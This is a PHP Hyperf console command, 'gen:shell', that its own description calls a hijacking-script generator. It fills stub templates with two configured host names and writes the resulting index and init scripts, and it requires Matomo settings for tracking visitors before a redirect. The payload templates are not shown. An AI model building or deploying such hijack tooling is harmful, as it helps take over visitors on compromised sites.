<?php

declare(strict_types=1);

namespace App\Command;

use Hyperf\Contract\ConfigInterface;
use Hyperf\Contract\StdoutLoggerInterface;
use Hyperf\Command\Annotation\Command;
use Hyperf\Command\Command as HyperfCommand;
use Hyperf\Support\Filesystem\Filesystem;
use function Hyperf\Support\env;

require_once(BASE_PATH . '/app/Libs/Helper.php');

/**
 * 批量导入模板文件数据和产品数据到mysql当中
 */
#[Command]
class GenShellCommand extends HyperfCommand
{
    protected $logger;
    protected $config;

    public function __construct(StdoutLoggerInterface $logger, ConfigInterface $config)
    {
        $this->logger = $logger;
        $this->config = $config;

        // 定义命令行名称
        parent::__construct('gen:shell');
    }

    public function configure()
    {
        parent::configure();
        $this->setDescription('生成劫持脚本');
    }

    public function handle()
    {
        $this->line('生成链接脚本内容');
        $gno = env('APP_NAME', '');
        if (empty($gno)) {
            $this->logger->error('组号不能为空，程序退出');
            return \Hyperf\Command\Command::FAILURE;
        }
        $maxid = env('PRODUCT_MAXID', '');
        if (empty($maxid)) {
            $this->logger->error('商品最大ID未配置，程序退出');
            return \Hyperf\Command\Command::FAILURE;
        }
        $mtmurl = env('APP_MOTOMO_URL', '');
        if (empty($mtmurl)) {
            $this->logger->error('跳转前matomo的api的url未配置，程序退出');
            return \Hyperf\Command\Command::FAILURE;
        }
        $mtmsiteid = env('APP_SITE_ID', '');
        if (empty($mtmsiteid)) {
            $this->logger->error('跳转前matomo的站点ID未配置，程序退出');
            return \Hyperf\Command\Command::FAILURE;
        }
        $mtmdid1 = env('APP_DIMENSION_ID1', '');
        $mtmdid2 = env('APP_DIMENSION_ID2', '');
        if (empty($mtmdid1) || empty($mtmdid2)) {
            $this->logger->error('跳转前matomo的自定义维度ID未配置，程序退出');
            return \Hyperf\Command\Command::FAILURE;
        }

        $fs = new Filesystem();
        // 检查IP和域名配置
        $hostname1 = rtrim(env('APP_BASEURL_IP'), '/');
        if (empty($hostname1)) {
            $this->logger->error('请配置访问域名1，程序退出');
            return \Hyperf\Command\Command::FAILURE;
        }
        $hostname2 = rtrim(env('APP_BASEURL_DM'), '/');
        if (empty($hostname2)) {
            $this->logger->error('请配置访问域名2，程序退出');
            return \Hyperf\Command\Command::FAILURE;
        }

        // 检查目标目录
        $dirIp = BASE_PATH . '/storage/shell/ip/';
        if (!$fs->isDirectory($dirIp)) {
            $fs->makeDirectory($dirIp, 0755, true);
        }
        $dirDm = BASE_PATH . '/storage/shell/dm/';
        if (!$fs->isDirectory($dirDm)) {
            $fs->makeDirectory($dirDm, 0755, true);
        }

        // 检查模板
        $stub1 = $fs->get(BASE_PATH . '/storage/stub/shell_index.stub');
        $stub2 = $fs->get(BASE_PATH . '/storage/stub/shell_init.stub');
        $stub3 = $fs->get(BASE_PATH . '/storage/stub/shell_index_v2.stub');
        $stub4 = $fs->get(BASE_PATH . '/storage/stub/shell_init_v2.stub');
        if (empty($stub1)) {
            $this->logger->error('shell_index模板文件不存在，程序退出');
            return \Hyperf\Command\Command::FAILURE;
        }
        if (empty($stub2)) {
            $this->logger->error('shell_init模板文件不存在，程序退出');
            return \Hyperf\Command\Command::FAILURE;
        }
        if (empty($stub3)) {
            $this->logger->error('shell_index_v2模板文件不存在，程序退出');
            return \Hyperf\Command\Command::FAILURE;
        }
        if (empty($stub4)) {
            $this->logger->error('shell_init_v2模板文件不存在，程序退出');
            return \Hyperf\Command\Command::FAILURE;
        }

        $target11 = $dirIp . 'index.txt';
        $target12 = $dirDm . 'index.txt';
        $target21 = $dirIp . 'init.txt';
        $target22 = $dirDm . 'init.txt';
        $target31 = $dirIp . 'index_v2.txt';
        $target32 = $dirDm . 'index_v2.txt';
        $target41 = $dirIp . 'init_v2.txt';
        $target42 = $dirDm . 'init_v2.txt';
        // 先清空再加入
        $fs->put($target11, '');
        $fs->put($target12, '');
        $fs->put($target21, '');
        $fs->put($target22, '');
        $fs->put($target31, '');
        $fs->put($target32, '');
        $fs->put($target41, '');
        $fs->put($target42, '');

        $content11 = str_replace(['{%HOSTNAME%}'], [$hostname1], $stub1);
        $content12 = str_replace(['{%HOSTNAME%}'], [$hostname2], $stub1);
        $fs->put($target11, $content11);
        $fs->put($target12, $content12);
        $this->line('  ' . $target11 . '已生成');
        $this->line('  ' . $target12 . '已生成');

        $content21 = str_replace(['{%HOSTNAME%}'], [$hostname1], $stub2);
        $content22 = str_replace(['{%HOSTNAME%}'], [$hostname2], $stub2);
        $fs->put($target21, $content21);
        $fs->put($target22, $content22);
        $this->line('  ' . $target21 . '已生成');
        $this->line('  ' . $target22 . '已生成');

        $content31 = str_replace(['{%HOSTNAME%}'], [$hostname1], $stub3);
        $content32 = str_replace(['{%HOSTNAME%}'], [$hostname2], $stub3);
        $fs->put($target31, $content31);
        $fs->put($target32, $content32);
        $this->line('  ' . $target31 . '已生成');
        $this->line('  ' . $target32 . '已生成');

        $content41 = str_replace(['{%HOSTNAME%}'], [$hostname1], $stub4);
        $content42 = str_replace(['{%HOSTNAME%}'], [$hostname2], $stub4);
        $fs->put($target41, $content41);
        $fs->put($target42, $content42);
        $this->line('  ' . $target41 . '已生成');
        $this->line('  ' . $target42 . '已生成');

        $this->line('生成链接脚本已经全部生成，程序退出');
        return \Hyperf\Command\Command::SUCCESS;
    }
}
